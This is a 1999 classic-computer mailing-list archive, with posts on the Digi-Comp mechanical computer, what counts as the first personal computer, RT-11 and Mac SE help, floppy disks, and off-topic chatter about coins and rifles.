A non-text attachment was scrubbed... Name: not available Type: text Size: 1142 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990111/79aa1e91/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 11 14:10:20 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:59 2005 Subject: ST506 on a modern system In-Reply-To: <199901111650.KAA01675@wildride.netads.com> from "Miles O'Neal" at Jan 11, 99 10:50:55 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1106 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990111/d4d71e60/attachment.ksh From steverob at hotoffice.com Mon Jan 11 15:30:20 1999 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:39:59 2005 Subject: Bulbs in parallel Message-ID: <01BE3D7F.AED92580.steverob@hotoffice.com> A little story: Seeing the tinkertoy computer reminds me of the mechanical "Computer" I got for Christmas when I was about 7 years old (1961..ish). It was a long long time ago and my memory could be a little distorted but, as I recall: It was made primarily of plastic and was about a foot long, 6 inches high, and 6 inches deep. This "toy" was built in horizontal layers or "planes" where each plane was one bit in the computer. The planes could slide either to the right or left to represent the logic states. If the plane was in the leftmost position, it represented a "0". If the plane was in the rightmost position, it represented a "1". I believe there were about 4 planes total. There was a "flag" (literally a flag) attached to the left end of each plane that provided the output. As the machine was cycled, the flags would raise and lower with the change in states. Along the rear of the computer there were a series of vertical wires that pushed the planes either to the right or to the left. These wires were the logic "gates" that drove the computer. As I recall there were about 8 of the wires (gates) in total. There were small projections from the rear of each plane that interacted with the wires (gates). To program the computer you placed small sections of a plastic soda straw, about 1" long, on some of the projections. The straws provided the input for each of the gates. If a straw was on one of the projections, it would interact with the wire (logical 1). If there was no straw on the projection, the wire would not touch the projection (logical 0). To operate the computer, the user would move a selected plane from one state to another. Any straws attached to the projections on that plane would push against the wires (gates) which in turn would push against the other planes in the machine. Some of the planes would change states, some would not. For each cycle of the machine, the user had to program in the next instruction. This meant moving around the straws on the back of the machine. Once the next instruction was loaded, the plane was slid back the other way. I never thought about it before but, this thing actually got two instructions per clock cycle. Max clock speed was about .01 CPS :-) The manual had detailed instructions for playing TIC-TAC-TOE and it actually worked. Unfortunately, it did not provide enough other examples so, I could never figure out how to make my own programs :-( I'm still fascinated by mechanical computers! Steve Robertson - QA Team Leader > > So, where is the gag ? Just don't forget, the Z1 was entirely > > mechanical, to be powered by a crank (if necercary - of course they > > prefered th electric motor :). > > Gag? Mechanical computers are serious stuff, Hans. Like Danny Hillis' > tinker-toy tic-tic-toe machine: > http://www.yowza.com/classiccmp/toy/tinkertoy.jpg > > ObOT: BTW, does anybody know approximately when tit-tat-toe got renamed > tic-tac-toe? Or is a regional thing? Don't our "Queen's English" friends (uk and au) call it "naughts and crosses"? From gram at cnct.com Mon Jan 11 15:58:22 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:39:59 2005 Subject: Bulbs in parallel In-Reply-To: <01BE3D7F.AED92580.steverob@hotoffice.com> Message-ID: The Edmund Digi-Comp I has been discussed here in the past, examine the pictures at and see if they look familiar. Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor On Mon, 11 Jan 1999, Steve Robertson wrote: > A little story: > > Seeing the tinkertoy computer reminds me of the mechanical "Computer" I got > for Christmas when I was about 7 years old (1961..ish). It was a long long > time ago and my memory could be a little distorted but, as I recall: > > It was made primarily of plastic and was about a foot long, 6 inches high, > and 6 inches deep. This "toy" was built in horizontal layers or "planes" > where each plane was one bit in the computer. The planes could slide either > to the right or left to represent the logic states. If the plane was in the > leftmost position, it represented a "0". If the plane was in the rightmost > position, it represented a "1". I believe there were about 4 planes total. > > There was a "flag" (literally a flag) attached to the left end of each > plane that provided the output. As the machine was cycled, the flags would > raise and lower with the change in states. > > Along the rear of the computer there were a series of vertical wires that > pushed the planes either to the right or to the left. These wires were the > logic "gates" that drove the computer. As I recall there were about 8 of > the wires (gates) in total. > > There were small projections from the rear of each plane that interacted > with the wires (gates). To program the computer you placed small sections > of a plastic soda straw, about 1" long, on some of the projections. The > straws provided the input for each of the gates. If a straw was on one of > the projections, it would interact with the wire (logical 1). If there was > no straw on the projection, the wire would not touch the projection > (logical 0). > > To operate the computer, the user would move a selected plane from one > state to another. Any straws attached to the projections on that plane > would push against the wires (gates) which in turn would push against the > other planes in the machine. Some of the planes would change states, some > would not. > > For each cycle of the machine, the user had to program in the next > instruction. This meant moving around the straws on the back of the > machine. Once the next instruction was loaded, the plane was slid back the > other way. I never thought about it before but, this thing actually got two > instructions per clock cycle. > > Max clock speed was about .01 CPS :-) > > The manual had detailed instructions for playing TIC-TAC-TOE and it > actually worked. Unfortunately, it did not provide enough other examples > so, I could never figure out how to make my own programs :-( > > I'm still fascinated by mechanical computers! > > Steve Robertson - QA Team Leader > > > > > > > So, where is the gag ? Just don't forget, the Z1 was entirely > > > mechanical, to be powered by a crank (if necercary - of course they > > > prefered th electric motor :). > > > > Gag? Mechanical computers are serious stuff, Hans. Like Danny Hillis' > > tinker-toy tic-tic-toe machine: > > http://www.yowza.com/classiccmp/toy/tinkertoy.jpg > > > > ObOT: BTW, does anybody know approximately when tit-tat-toe got renamed > > tic-tac-toe? Or is a regional thing? > > Don't our "Queen's English" friends (uk and au) call it "naughts and > crosses"? > > > > From steverob at hotoffice.com Mon Jan 11 16:16:16 1999 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:39:59 2005 Subject: Bulbs in parallel Message-ID: <01BE3D86.19C1DD00.steverob@hotoffice.com> Yep... That's it. I guess my recollection isn't too bad considering I hadn't seen one in 35 years. Haven't been following this group long enough to realize it's already been discussed. Shoulda known someone here would know what it was. Thanks, Steve Robertson - QA Team Leader -----Original Message----- From: Ward D. Griffiths III [SMTP:gram@cnct.com] Sent: Monday, January 11, 1999 4:58 PM To: Discussion re-collecting of classic computers Subject: RE: Bulbs in parallel The Edmund Digi-Comp I has been discussed here in the past, examine the pictures at and see if they look familiar. Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor On Mon, 11 Jan 1999, Steve Robertson wrote: > A little story: > > Seeing the tinkertoy computer reminds me of the mechanical "Computer" I got > for Christmas when I was about 7 years old (1961..ish). It was a long long > time ago and my memory could be a little distorted but, as I recall: > From yowza at yowza.com Mon Jan 11 16:24:50 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:59 2005 Subject: Bulbs in parallel In-Reply-To: <01BE3D86.19C1DD00.steverob@hotoffice.com> Message-ID: On Mon, 11 Jan 1999, Steve Robertson wrote: > Haven't been following this group long enough to realize it's already > been discussed. Shoulda known someone here would know what it was. The one that hasn't been discussed (AFAIK) is the sequel: the Digi-Comp II. I've never seen one, but I understand it was marble-powered. Anybody have more info? -- Doug From cswiger at wilma.widomaker.com Mon Jan 11 16:32:45 1999 From: cswiger at wilma.widomaker.com (cswiger) Date: Sun Feb 27 18:39:59 2005 Subject: Berkeley Enterprises 1956 Report Message-ID: >OK, next time somebody tells you that the Altair was the first personal >or home computer, give them this URL: First - that's very interesting research and glad to read about it (esp. remember some switch/relay/light versions of the FoxHenCorn puzzle as well as Nim, and they remind me of the Claude Shannon maze solving mouse in SciAM. I almost had that schematic memorized but never built one. It had a 3 bit memory so it could 'learn' a 3 fork maze, and a rotating 'randomizer' for the one's the mouse didn't know. My 'first' personal computer then was made out of a piece of fence, 24 or so nails, a 'D'cell, 3 or 4 lamps and a lot of hookup wire) B_b_b_but Berkeley Ent. didn't really market it as a personal *home* computer, looks like the target audience they hope to sell into is advertising gimmicks, 'show stoppers'. Also, unlike other machines sold to academia or business uses, the Altair was marketed to people who buy or build their own HI-FI/Stereos, CB/Ham radios - i.e., the HOME hobbyist. For $60/ month. I can own my OWN computer, free and clear to do whatever I want with, not limited by the funding strings that dictate what I can do with one at work or at school. Free at last!! Again, without any further defining guidelines, other than the default Intel ('PC') lineage, and a tip of the hat to the unsuccessful Mark-8, I posit that the 'first PC's' are the abacus, knots on string, pushing stones around on tables, Napiers bones, slide rules - or does it have to include an 'active' element (relay, tube, transistor, IC)? I'm lost as far as what your qualifying criteria is. Of course, one can always custom tailor their list of criteria so that the machine you've already chosen as 'first' comes out as such, post facto, hehe. Chuck cswiger@widomaker.com From yowza at yowza.com Mon Jan 11 16:43:13 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:59 2005 Subject: Bulbs in parallel In-Reply-To: Message-ID: On Mon, 11 Jan 1999, Sam Ismail wrote: > > ObOT: BTW, does anybody know approximately when tit-tat-toe got renamed > > tic-tac-toe? Or is a regional thing? > > Probably when the puritanical religious right zealots got wind of the > game. That's my assumption too. I searched for "tit-tat-toe" using altavista, and it brought up references to Huck Finn, but more interestingly, it confused the altavista context-sensitive advertising banner engine enough to show me porn ads! -- Doug From yowza at yowza.com Mon Jan 11 16:52:50 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:59 2005 Subject: Berkeley Enterprises 1956 Report In-Reply-To: Message-ID: On Mon, 11 Jan 1999, cswiger wrote: > Berkeley Ent. didn't really market it as a personal *home* > computer, looks like the target audience they hope to sell into > is advertising gimmicks, 'show stoppers'. That's somewhat of a logical leap. This particular report was aimed at marketing types, but the machines were featured in SciAm, Radio Electronics, etc., and their machines (such as the Geniac) were advertised in those same mags. Also, it might help to know Berkeley's background. Among other things, he worked on the Mark II, was a primary mover in getting the Univac built, and he founded the ACM. He was on a mission to get computers out of the hands of scientists and engineers and into the hands of businesses and normal people. Unlike Ed Roberts, who just kind of stumbled into the biz. > Again, without any further defining guidelines, other than the > default Intel ('PC') lineage, and a tip of the hat to the > unsuccessful Mark-8, I posit that the 'first PC's' are the abacus, > knots on string, pushing stones around on tables, Napiers bones, > slide rules - or does it have to include an 'active' element > (relay, tube, transistor, IC)? I'm lost as far as what your > qualifying criteria is. Of course, one can always custom tailor > their list of criteria so that the machine you've already chosen > as 'first' comes out as such, post facto, hehe. In anticipation of such strawman arguments, I focused on Simon because it shares almost all of the same traits as the Altair: * digital * electronic (or electromechanical, in the case of Simon) * small * affordable to build * well publicized Hell, Simon even came with a paper tape reader. -- Doug From rexstout at uswest.net Mon Jan 11 16:59:22 1999 From: rexstout at uswest.net (John Rollins) Date: Sun Feb 27 18:39:59 2005 Subject: _Way_ OT: dollar coins was Re: Y2K stuff In-Reply-To: References: <3.0.1.16.19990111100251.3adfdff2@intellistar.net> Message-ID: >And if the ticket machine runs out of Suzy Bs, you wind >up with a major load of quarters. Which is why that electronic money stuff seems to be an almost good idea... Sure, there's lots of reasons not to like it... But why carry around a bunch of heavy coins when you could just have a little chip, maybe just underneath the skin in the hand or something? I would guess anything but an implantable chip would be a bit of a security concern... -------------------------------------------------------------- | http://members.tripod.com/~jrollins/index.html - Computers | | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | | orham@qth.net list admin KD7BCY | | ham-mac@qth.net Portland, OR | -------------------------------------------------------------- From ard at p850ug1.demon.co.uk Mon Jan 11 17:43:40 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:59 2005 Subject: y2k stuff In-Reply-To: <199901112000.UAA14467@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 11, 99 09:00:19 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1541 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990111/f80b9ac9/attachment.ksh From jruschme at exit109.com Mon Jan 11 18:11:40 1999 From: jruschme at exit109.com (John Ruschmeyer) Date: Sun Feb 27 18:39:59 2005 Subject: _Way_ OT: dollar coins was Re: Y2K stuff In-Reply-To: from John Rollins at "Jan 11, 99 02:59:22 pm" Message-ID: <199901120011.TAA04647@crobin.home.org> > >And if the ticket machine runs out of Suzy Bs, you wind > >up with a major load of quarters. > > Which is why that electronic money stuff seems to be an almost good idea... > Sure, there's lots of reasons not to like it... But why carry around a > bunch of heavy coins when you could just have a little chip, maybe just > underneath the skin in the hand or something? I would guess anything but an > implantable chip would be a bit of a security concern... Just what I want... a thief knocking me over the head and lopping off my hand. <<>> From geoffrob at stmarks.pp.catholic.edu.au Mon Jan 11 18:17:42 1999 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:39:59 2005 Subject: Now very OT:Re: RT - the rude, the bad, and the ugly Message-ID: <006201be3dc0$f91a0600$c52c67cb@canopus.stmarks.pp.catholic.edu.au> -----Original Message----- From: Miles O'Neal To: Discussion re-collecting of classic computers Date: Sunday, 10 January 1999 5:46 Subject: Re: RT - the rude, the bad, and the ugly >Ward Donald Griffiths III said... >| >|> >The high bidder would get to step out back onto the rifle range >|> >(why have 5 acres in Texas without a rifle range?), and put a >|> >7.62mm bullet into the RT's evil, beating heart. >| >|Crappy NATO 7.62 renaming of .30 cal. Jerks. Gimme a Winchester >|.308. >Crappy Soviet 7.62x39 military ammo. That too. :^) But a 7.62 NATO is a little shorter than the 7.62 Russian. I was taught that an AK47 would chamber and fire a 7.62 NATO round, (a bit loose, but it's fireable) but the 7.62 Russian won't fit in an SLR, FN or M60. I doubt this is an accident. >But find me a new gun in .308 for $99, and I'll buy it. Got to Indonesia. We sold them the contents of the factory that made our 7.62mm NATO/.308 SLR's (Self Loading Rifles - Basically an FN rifle with a few refinements) You could probably buy one dirt cheap. I wouldn't vouch for how legal it would be. It's not a full auto weapon, (the L1A1's we had, anyway) so it should be importable to your country at least. There was an auto version (L2A1, IIRC) but it wasn't a big hit. Our Armed Forces downgraded (IMNSHO) to a locally made/modded version of the 5.56mm F88 Steyr (Bullpup style) They have already discovered that:- 1: If you go to ground the wrong way, you will smash it to bits (it has a lot of plastic). Magazines and the butt are particulary vulnerable. Magazines are transparent plastic. 2: It's not as accurate as they hoped because the scope gets beat up by belting it around in the bush. 3: It's not as accurate as they hoped because the barrel/breech fit gets stuffed up becaus of the brass hats insisting that the grunts have to take the barrel off (a twist fit) when carrying out safety on the weapon. You are supposed to pull off the barrel and squint into the breech to make sure it's empty. This is not good for the weapon, as it wears the lugs that latch the barrel to the receiver, eventually the weapons accuracy (which is very good out of the box) reduces to a point where it's only somewhat better than an AK47. 4: It's less reliable, lot's more little moving parts. 5: The round does less damage at long range than the heavier 7.62, particularly, it doesn't penetrate anywhere near as well. 6: The troops hate it. 7: WOD's/RSM's hate it. The rifle drill movements looks like S... "Reverse Arms" is a joke with this weapon. 8: It's capable of full auto and it weighs less than the SLR. About the only positive statement I've heard about it, so far. 9: It doesn't have a bayonet fitting. >But, like an IBM 3101 terminal, you can toss an SKS or AK off a roof, >run over it with a truck, drag it through the mud, and it will *still* >let you log on and do its job. Um, I mean, shoot as well as it ever did. This is not exactly inspiring. An AK is probably the most inaccurate assault rifle ever built. (As I'm sure you know already);^) >[Which isn't that great, but fine for what it was intended for. Useful at short range, but then so is a 9mm SMG. >Just like an IBM 3101. Truly the Mack Truck of ASCII terminals.] No experience with IBM 3101's, so I'll take your word for it. B^) It would have to be truly awful to beat an ADM3 though. I have one of those. I used it as a console for a Vax for a while. (Shudder) Cheers Geoff Roberts Computer Systems Manager Saint Marks College Port Pirie South Australia. My ICQ# is 1970476 Ph. 61-411-623-978 (Mobile) 61-8-8633-0619 (Home) 61-8-8633-8834 (Work-Direct) 61-8-8633-0104 (Fax) From ckaiser at oa.ptloma.edu Mon Jan 11 18:28:30 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:39:59 2005 Subject: y2k stuff In-Reply-To: from "Tony Duell" at Jan 11, 99 11:43:40 pm Message-ID: <199901120028.QAA14460@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 755 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990111/41103d0f/attachment.ksh From geoffrob at stmarks.pp.catholic.edu.au Mon Jan 11 18:23:50 1999 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:39:59 2005 Subject: PR1ME system rescue Message-ID: <00d301be3dc1$d4048100$c52c67cb@canopus.stmarks.pp.catholic.edu.au> -----Original Message----- From: John Lawson To: Discussion re-collecting of classic computers Date: Sunday, 10 January 1999 14:08 Subject: PR1ME system rescue > The system is CPU, 32M of ram, 16 I/O ports, a Century 300M 10" >drive, a Seagate Sabre attached to a SCSI PORT!! (yay!) a Kennedy >9100 in Prime livery, and the usual load of cables and Stuff. Congratulations. I want one of those too. Getting a bit rare around here. Cheers Geoff Roberts Computer Systems Manager Saint Marks College Port Pirie South Australia. My ICQ# is 1970476 Ph. 61-411-623-978 (Mobile) 61-8-8633-0619 (Home) 61-8-8633-8834 (Work-Direct) 61-8-8633-0104 (Fax) From geoffrob at stmarks.pp.catholic.edu.au Mon Jan 11 18:28:23 1999 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:40:00 2005 Subject: Y2K stuff Message-ID: <014e01be3dc2$76cabb20$c52c67cb@canopus.stmarks.pp.catholic.edu.au> -----Original Message----- From: Uncle Roger To: Discussion re-collecting of classic computers Date: Monday, 11 January 1999 12:28 Subject: Re: Y2K stuff >At 12:53 PM 1/9/99 +1030, you wrote: >>Are they polymer rather than paper like all ours are now? > >Still paper, but with a few more security features. > >>To save money, the govt withdrew all coins below 5c, we now have $1 & $2 >>coins, > >The US could have hundreds of millions of dollars by doing that (at least >$1 coins) but it has been demonstrated around the world that the only way >to do that *successfully* is to pull the bills out of circulation >immediately as the coins are released. That is what happened here. No notes < $5. The $1 & $2 coins are a brass composite, and are gold in color. Quite distinctive. Cheers Geoff Roberts Computer Systems Manager Saint Marks College Port Pirie South Australia. My ICQ# is 1970476 Ph. 61-411-623-978 (Mobile) 61-8-8633-0619 (Home) 61-8-8633-8834 (Work-Direct) 61-8-8633-0104 (Fax) From geoffrob at stmarks.pp.catholic.edu.au Mon Jan 11 18:33:03 1999 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:40:00 2005 Subject: Bulbs in parallel Message-ID: <01b901be3dc3$1dec6020$c52c67cb@canopus.stmarks.pp.catholic.edu.au> -----Original Message----- From: Bill Sudbrink To: Discussion re-collecting of classic computers Date: Tuesday, 12 January 1999 7:41 Subject: RE: Bulbs in parallel >> ObOT: BTW, does anybody know approximately when tit-tat-toe got renamed >> tic-tac-toe? Or is a regional thing? > >Don't our "Queen's English" friends (uk and au) call it "naughts and >crosses"? Noughts and Crosses actually. :^) Cheers Geoff Roberts Computer Systems Manager Saint Marks College Port Pirie South Australia. My ICQ# is 1970476 Ph. 61-411-623-978 (Mobile) 61-8-8633-0619 (Home) 61-8-8633-8834 (Work-Direct) 61-8-8633-0104 (Fax) From dogas at leading.net Mon Jan 11 18:30:32 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:00 2005 Subject: RT-11 Help Message-ID: <01be3dc2$c3bf5a80$e6c962cf@devlaptop> Finally.... Jacksonville pays off.... Do you know who many times I've seen computer x available in y, for pickup only, where y does not equal Jacksonville. I've got two SMS 1000s comming this weekend, a model 50 and 40, and two expansion boxes (41's ???) full of serial io running RT-11 for a defunct cardkey system. I dont know RT-11 (yet.) and am looking forward to the experience. But before that happens the seller wants to purge some sensitive employee files on the system. Can someone tell me how to tell him to 1) move through the directory structure, and 2) how to delete specific files ( some that span partitions 0 - du4 according to him ), and... Where can I find a good source of RT-11 info? Thanks - Mike: dogas@leading.net From mbg at world.std.com Mon Jan 11 18:38:08 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:00 2005 Subject: new to the list Message-ID: <199901120038.AA20920@world.std.com> >>the list (which is supposed to be very single-minded) contains a number >>of people who actually are single-minded (Tony Duell, Allison Parent, >>Megan Gantry, Pete Turnbull, maybe others). This is good! Don't >>misunderstand me. It's the way it's supposed to be. > >I resent that! I go off topic when the mood or whatever suits, like now. > ;-) I'm not 'singled-minded', I'm *focussed* :-) some would say obsessive-compulsive... :-) and I, too, will respond off-topic... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From jpero at cgocable.net Mon Jan 11 18:51:54 1999 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:40:00 2005 Subject: Y2K stuff In-Reply-To: <014e01be3dc2$76cabb20$c52c67cb@canopus.stmarks.pp.catholic.edu.au> Message-ID: <199901120050.TAA15446@mail.cgocable.net> Date sent: Tue, 12 Jan 1999 10:58:23 +1030 Send reply to: classiccmp@u.washington.edu From: "Geoff Roberts" To: "Discussion re-collecting of classic computers" Subject: Re: Y2K stuff Originally to: > -----Original Message----- > From: Uncle Roger > To: Discussion re-collecting of classic computers > > Date: Monday, 11 January 1999 12:28 > Subject: Re: Y2K stuff > > > >At 12:53 PM 1/9/99 +1030, you wrote: > >>Are they polymer rather than paper like all ours are now? > > > >The US could have hundreds of millions of dollars by doing that (at > least > >$1 coins) but it has been demonstrated around the world that the only > way > >to do that *successfully* is to pull the bills out of circulation > >immediately as the coins are released. > > > That is what happened here. No notes < $5. > The $1 & $2 coins are a brass composite, and are gold in color. Quite > distinctive. Ditto here, in canada except: Loonie (1 dollar coin) gold with faceted edge came out '86ish. Tooine (or Twonie?) 2 dollar coin except for two features: two-piece silver ring disc with a gold color disc together placed into press that binds both together and impresses the graphics on it. The edge is alterating serrations and smooth. Again '96ish. First few did came apart! Bad press was the cause. :-( ) No problems with carrying $20 CDN mixed lot of Loonies and $2 coins. They get used fast. Those $2 coins are useful as screwdriver for those IBM silver screws that secures case covers. Well, I don't like those stinky US 1 dollars bills, they multiply like wabbits. Often I find myself carrying over $20 in $1 bills! I think those US 1 bux bills still hangs around because prices is still low enough and economy is still healthy enough. Funny, I was in US during somewhat that didn't work out in college before and didn't see Susie B. coins. From van at wired.com Mon Jan 11 18:55:47 1999 From: van at wired.com (van) Date: Sun Feb 27 18:40:00 2005 Subject: Macintosh SE In-Reply-To: <199901120038.AA20920@world.std.com> Message-ID: Hi there... Does anyone have experience networking a Mac SE? I really need some advice... Please help! xoxo van +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ van burnham +++ van@wired.com +++ 71 +++++++ http://www.futuraworld.com +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ designer +++ http://www.hotwired.com ++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 415.276.8424 +++ wired digital +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++ 660 third street fourth floor san francisco ca 94107 From yowza at yowza.com Mon Jan 11 18:59:08 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:00 2005 Subject: new to the list In-Reply-To: <199901120038.AA20920@world.std.com> Message-ID: > and I, too, will respond off-topic... Great. Not only is Derek leading us to off-topicness by example, but he's made being off-topic chic :-( Maybe it's time to change the list charter: anything of interest to computer geeks, including the occasional old computer. I don't mind the occasional off-topic rant, especially if it's microsoft bashing, but this list has been about 75% off-topic since the new administration took over. I vote for impeachment! (BTW, who is vice list-owner?) -- Doug From cmcmanis at freegate.com Mon Jan 11 19:07:27 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:00 2005 Subject: _Way_ OT: dollar coins was Re: Y2K stuff In-Reply-To: <199901120011.TAA04647@crobin.home.org> References: Message-ID: <4.1.19990111170355.009d2100@mailhost.hq.freegate.com> >Just what I want... a thief knocking me over the head and lopping off >my hand. Why do people say this? I get this all the time when I talk about my Java Ring (sorry it's not a classic YET). Thieves aren't going to "chop off your extremities" to get to the 20 - 50 units of currency you've got bound to your thumb print. Just like they don't dig out the eyeball of bank manager's that have retinal scan bank vaults. Sheesh. ObCc: Anyone have a working C64 and BASIC manual they are willing to part with for $10 + shipping? I'd like to get one for my daughter (8 yrs old) to start playing around with BASIC programming. --Chuck From fauradon at pclink.com Mon Jan 11 19:14:02 1999 From: fauradon at pclink.com (Francois) Date: Sun Feb 27 18:40:00 2005 Subject: Macintosh SE Message-ID: <000a01be3dc8$d9d63400$03ebfea9@francois> What kind of network are you working with? Appletalk, Ethernet..? -----Original Message----- From: van To: Discussion re-collecting of classic computers Date: Monday, January 11, 1999 7:00 PM Subject: Macintosh SE >Hi there... > >Does anyone have experience networking a Mac SE? I really need some advice... > >Please help! > >xoxo van > >+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >van burnham +++ van@wired.com +++ 71 +++++++ http://www.futuraworld.com >+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >designer +++ http://www.hotwired.com ++++++++++++++++++++++++++++++++++ >++++++++++++++++++++++++++++++++++++++++++++++++++++++ 415.276.8424 +++ >wired digital +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >++++++++++++++++++ 660 third street fourth floor san francisco ca 94107 > > From gram at cnct.com Mon Jan 11 19:11:41 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:00 2005 Subject: 5.25" Floppies on a P2 system References: Message-ID: <369AA14D.BE3F2197@cnct.com> Tony Duell wrote: > The fact that an 80 track drive (of any type) may not reliably write to a > 40track disk. However, if you use good-quality media and format it on the > drive that writes it (i.e. format a disk in the PC drive and write to it > there), this is rarely a big problem. And I learned a long time ago that thoroughly erasing the disk first before formatting is a _good thing_. Especially since it seems that nowadays most disks come pre-formatted for MS, and that may not be the OS I'm writing from. I have few problems when the diskette is written by any drive as long as it visits Mr. Bulk Eraser first, at least for a data transfer -- no warranty implied for long-term storage. But I've successfully written diskettes for TRS-80 Model 4 using a couple of Pentium systems on HD drives (thanking Tim Mann every second for the improvements he's done to xtrs) with Linux. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From eric at brouhaha.com Mon Jan 11 19:21:46 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:00 2005 Subject: 5.25" disks In-Reply-To: <4.1.19990106140237.00a204d0@mailhost.hq.freegate.com> (message from Chuck McManis on Wed, 06 Jan 1999 15:08:38 -0800) References: <4.1.19990106140237.00a204d0@mailhost.hq.freegate.com> Message-ID: <19990112012146.15910.qmail@brouhaha.com> Chuck McManis wrote: > I picked up an auction lot today and it contained, among other things, some > 5.25" disks that are hand labelled as "1.2MB Test Media". I'm wondering if > they are calibration disks for 5.25" drives. Realizing they are probably so > RARE that to L@@K at them should cost $20 :-) Almost certainly they are exactly what they say, which is test media, i.e., the media vendor made them for test purposes before they went into volume production. If they were calibration disks they would be labelled as such. I've got some Twiggy test diskettes made by 3M. I hadn't thought of trying to sell them on eBay; if production Twiggy diskettes can fetch $22, I wonder what test diskettes will fetch? Eric From dpeschel at u.washington.edu Mon Jan 11 19:21:20 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:40:00 2005 Subject: new to the list In-Reply-To: from "Doug Yowza" at Jan 11, 99 06:59:08 pm Message-ID: <199901120121.RAA13163@saul3.u.washington.edu> > > and I, too, will respond off-topic... > Great. Not only is Derek leading us to off-topicness by example, but he's > made being off-topic chic :-( Actually, I thought I discouraged it! > Maybe it's time to change the list charter: anything of interest to > computer geeks, including the occasional old computer. I don't mind the > occasional off-topic rant, especially if it's microsoft bashing, but this > list has been about 75% off-topic since the new administration took over. > > I vote for impeachment! (BTW, who is vice list-owner?) Vice? Isn't that Ward's department? He has that signature about alcohol and tobacco. Seriously, I haven't been keeping track of off-topicness, but it seemed about the same as before (maybe it's gone up a little recently, but not solidly since I started). I think you're exaggerating. Perhaps it would be better if I started approving messages. Then I could still read the silly things everyone has to say but they wouldn't be inflicted on others. -- Derek From jim at calico.litterbox.com Mon Jan 11 19:32:54 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:00 2005 Subject: Macintosh SE In-Reply-To: from "van" at Jan 11, 1999 04:55:47 PM Message-ID: <199901120132.SAA16740@calico.litterbox.com> > > Hi there... > > Does anyone have experience networking a Mac SE? I really need some advice... > > Please help! > I have an operational SE30. Perhaps I can help? -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From yowza at yowza.com Mon Jan 11 19:40:14 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:00 2005 Subject: new to the list In-Reply-To: <199901120121.RAA13163@saul3.u.washington.edu> Message-ID: On Mon, 11 Jan 1999, D. Peschel wrote: > Actually, I thought I discouraged it! By accusing people of being on-topic, you made them rebel! Hmm, reverse psychology. Maybe if you rewarded off-topic posters with gold conformity stars, they'd be so horrified as to stay on topic. > Perhaps it would be better if I started approving messages. Then I could > still read the silly things everyone has to say but they wouldn't be > inflicted on others. Just an occasional "LISTEN, TURKEY, THIS AIN'T AN AOL CHAT ROOM!" would probably suffice. -- Doug From healyzh at aracnet.com Mon Jan 11 19:46:39 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:00 2005 Subject: Macintosh SE In-Reply-To: References: <199901120038.AA20920@world.std.com> Message-ID: >Does anyone have experience networking a Mac SE? I really need some advice... If you're just talking to other Mac's you can connect them with a Appletalk network. Otherwise if 